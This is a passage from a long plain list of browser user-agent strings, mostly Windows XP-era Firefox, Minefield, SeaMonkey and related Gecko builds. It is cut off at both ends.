en-US; rv:1.9.2.13) Gecko/20101203 AskTbGLSV5/3.9.1.14019 Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 AskTbSRFV5/3.9.1.14019 Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 AskTbUT2V5/3.9.1.14019 Firefox/3.6.13 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 BTRS28621 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.0.4506.2152; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 (.NET CLR 3.5.30729) FBSMTWB Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 FBSMTWB Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 GTB7.1 ( .NET CLR 3.5.30729; .NET4.0E) FirePHP/0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.15) Gecko/20110303 Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543 Safari/419.3 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.17) Gecko/20110531 Firefox/3.6.17 (Palemoon/3.6.17) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.19pre) Gecko/20110620 Namoroka/3.6.19pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.2) Gecko/20100324 Firefox/3.6.2 (Palemoon/3.6.2) (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.20) Gecko/20110803 AskTbFWV5/3.13.0.17701 Firefox/3.6.20 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.21pre) Gecko K-Meleon/1.7.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 ( .NET CLR 3.5.30729; .NET4.0C) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.2pre) Gecko/20100312 Namoroka/3.6.2pre (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.0.16 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100403 Firefox/3.6.3 (Palemoon/3.6.3) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100403 Firefox/3.6.3 (Palemoon/3.6.3) (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.30) Gecko/20120217 Firefox/3.6.30 (Palemoon/3.6.30) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.32) Gecko/20120529 Firefox/3.6.32 (Palemoon/3.6.32) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.4) Gecko/20100608 Lightning/1.0b2 Thunderbird/3.1 ThunderBrowse/3.3.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.4) Gecko/20100624 Firefox/3.6.4 Lunascape/6.2.0.22177 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.8) Gecko/20100721 Firefox/3.6.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.0.4506.2152; .NET4.0C) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 (.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.9pre) Gecko/20100812 Namoroka/3.6.9pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1) Gecko/20090806 Namoroka/3.6a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1) Gecko/20090806 Namoroka/3.6a1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20081222 Fennec/1.0a2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090113 Minefield/3.2a1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090120 Minefield/3.2a1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090219 Minefield/3.2a1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090304 Minefield/3.2a1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090306 Minefield/3.2a1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090317 Fennec/1.0b1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090320 Minefield/3.6a1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090324 Firefox Minefield/3.6a1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090324 Minefield/3.6a1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090327 Firefox/3.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090327 Minefield/3.6a1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090328 Minefield/3.6a1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090330 Minefield/3.6a1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090331 Minefield/3.6a1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090401 Minefield/3.6a1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090401 Minefield/3.6a1pre (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090402 Minefield/3.6a1pre (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090405 Minefield/3.6a1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090405 Minefield/3.6a1pre (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090406 Minefield/3.6a1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090407 Minefield/3.6a1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090408 Minefield/3.6a1pre (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090409 Minefield/3.6a1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090410 Minefield/3.6a1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090413 Minefield/3.6a1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090415 Minefield/3.6a1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090418 Minefield/3.6a1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090424 Minefield/3.6a1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090425 Minefield/3.6a1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090709 Minefield/3.6a1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a2pre) Gecko/20090816 Namoroka/3.6a2pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2a2pre) Gecko/20090826 Namoroka/3.6a2pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2b4) Gecko/20091124 Firefox/3.6b4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2pre) Gecko/20100115 Prism/1.0b3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.3a1pre) Gecko/20091130 Minefield/3.7a1pre GTB6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.3a1pre) Gecko/20091219 Minefield/3.7a1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.3a3pre) Gecko/20100311 Minefield/3.7a3pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.3a5pre) Gecko/20100418 Minefield/3.7a5pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20051220 Firefox/1.6a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20060121 Firefox/1.6a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20060323 Firefox/1.6a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20060520 SeaMonkey/1.5a Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20060612 Minefield/3.0a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20060725 Minefield/3.0a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20060809 Minefield/3.0a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20060816 Minefield/3.0a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20060826 Minefield/3.0a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20060906 SeaMonkey/1.5a Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20060910 Minefield/3.0a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20061102 Minefield/3.0a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/2006112204 Minefield/3.0a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20061123 Minefield/3.0a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20061124 Minefield/3.0a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20061125 Minefield/3.0a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20061129 Minefield/3.0a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20061204 GranParadiso/3.0a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20061204 GranParadiso/3.0a1 MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a1) Gecko/20061217 Minefield/3.0a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a2) Gecko/20070206 GranParadiso/3.0a2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a2pre) Gecko/20061221 Minefield/3.0a2pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a2pre) Gecko/20061230 Minefield/3.0a2pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a2pre) Gecko/20061231 Minefield/3.0a2pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a2pre) Gecko/20070105 Minefield/3.0a2pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a2pre) Gecko/20070109 SeaMonkey/1.5a Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a2pre) Gecko/20070130 SeaMonkey/1.5a Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a2pre) Gecko/20070204 Minefield/3.0a2pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a3) Gecko/20070322 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a3) Gecko/20070322 GranParadiso/3.0a3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a3pre) Gecko/20070218 Minefield/3.0a3pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a3pre) Gecko/20070317 SeaMonkey/1.5a Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a4) Gecko/20070427 GranParadiso/3.0a4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a4) Gecko/2007042705 GranParadiso/3.0a4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a4pre) Gecko/20070404 SeaMonkey/1.5a Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a4pre) Gecko/20070407 Minefield/3.0a4pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a4pre) Gecko/20070416 Minefield/3.0a4pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a4pre) Gecko/20070427 Minefield/3.0a4pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a5pre) Gecko/20070517 Minefield/3.0a5pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a5pre) Gecko/20070527 SeaMonkey/1.5a Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a5pre) Gecko/20070529 Minefield/3.0a5pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a5pre) Gecko/20070529 SeaMonkey/2.0a1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a6pre) Gecko/20070602 Minefield/3.0a6pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a6pre) Gecko/20070603 Minefield/3.0a6pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a6pre) Gecko/20070604 Minefield/3.0a6pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a6pre) Gecko/20070622 Minefield/3.0a6pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a6pre) Gecko/20070625 SeaMonkey/2.0a1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a6pre) Gecko/20070626 Minefield/3.0a6pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a6pre) Gecko/20070630 Minefield/3.0a6pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a7) Gecko/2007080210 Firefox/2.0.0.4 MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a7) Gecko/2007080210 GranParadiso/3.0a7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a7pre) Gecko/2007073105 Minefield/3.0a7pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a8pre) Gecko/2007082705 Minefield/3.0a8pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a9pre) Gecko/2007102105 Minefield/3.0a9pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a9pre) Gecko/2007110705 Minefield/3.0a9pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b1) Gecko/2007110703 Firefox/3.0b1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b2pre) Gecko/2007110805 Minefield/3.0b2pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b2pre) Gecko/2007111605 Minefield/3.0b2pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b2pre) Gecko/2007120405 Minefield/3.0b2pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b2pre) Gecko/2007120505 Minefield/3.0b2pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b3pre) Gecko/2007122205 Minefield/3.0b3pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b4pre) Gecko/2008020708 Firefox/3.0b4pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b4pre) Gecko/2008021304 Minefield/3.0b4pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b5pre) Gecko/2008030706 Firefox/3.0b5pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b5pre) Gecko/2008030706 Minefield/3.0b5pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b5pre) Gecko/2008031004 Minefield/3.0b5pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9b5pre) Gecko/2008032204 Minefield/3.0b5pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9pre) Gecko/2008032904 Minefield/3.0pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9pre) Gecko/2008040907 Minefield/3.0pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9pre) Gecko/2008041406 Minefield/3.0pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9pre) Gecko/2008041506 Minefield/3.0pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:2.0) Treco/20110515 Fireweb Navigator/2.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:2.0.0) Gecko/20050511 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:2.0.1) Gecko/20110606 Firefox/4.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:2.0a1pre) Gecko/2008032902 Minefield/4.0a1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:x.x.x) Gecko/20041107 Firefox/x.x Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:x.xx) Gecko/20030504 Mozilla Firebird/0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:x.xxx) Gecko/20041027 Mnenhy/0.6.0.104 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-us; rv:1.9b5) Gecko/2008032620 Firefox/2.0.0.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-us; rv:1.9b5) Gecko/20080404 Firefox/2.0.0.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.7.10) Gecko/20050716 Firefox/1.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.8) Gecko/20051107 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.8.0.5) Gecko/20060721 SeaMonkey/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.8.0.7) Gecko/20060917 K-Meleon/1.02 Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.8.1.11) Gecko/20071127 Mozilla Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.8.1.14) Gecko/20080201 Firefox/2.0.0.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.1.1) Gecko/20090715 Firefox/3.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.1.13) Gecko/20100914 Firefox/3.6.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9a1) Gecko/20061128 BonEcho/0.7b1 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.7.5) Gecko/20041108 Firefox/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.7.5) Gecko/20060912 Netscape/8.1.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.0.5) Gecko/20060706 Firefox/1.5.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.0.7) Gecko/20060917 K-Meleon/1.02 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1) Gecko/20060918 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1) Gecko/20061003 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1) Gecko/20061010 Firefox/2.0 MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1.3) Gecko/20070309 Firefox/1.5.0.7 MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1.3) Gecko/20070309 Firefox/2.0 MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1.4) Gecko/20070501 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1.4) Gecko/20070511 K-Meleon/1.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1.5) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.9.0.3) Gecko/20080927 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 GTB5 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.9.1) Gecko/20090624 Firefox/3.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.9.1.19) Gecko/20110420 SeaMonkey/2.0.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.9b2) Gecko/2007121120 Firefox/3.0b2 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-CO) AppleWebKit/527+ (KHTML, like Gecko) QtWeb Internet Browser/1.7 http://www.QtWeb.net Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7) Gecko/20040803 Firefox/0.9.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.12) Gecko/20050915 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.3) Gecko/20040910 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.5) Gecko/20060127 Netscape/8.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8) Gecko/20051025 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8) Gecko/20060321 Firefox/2.0a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; 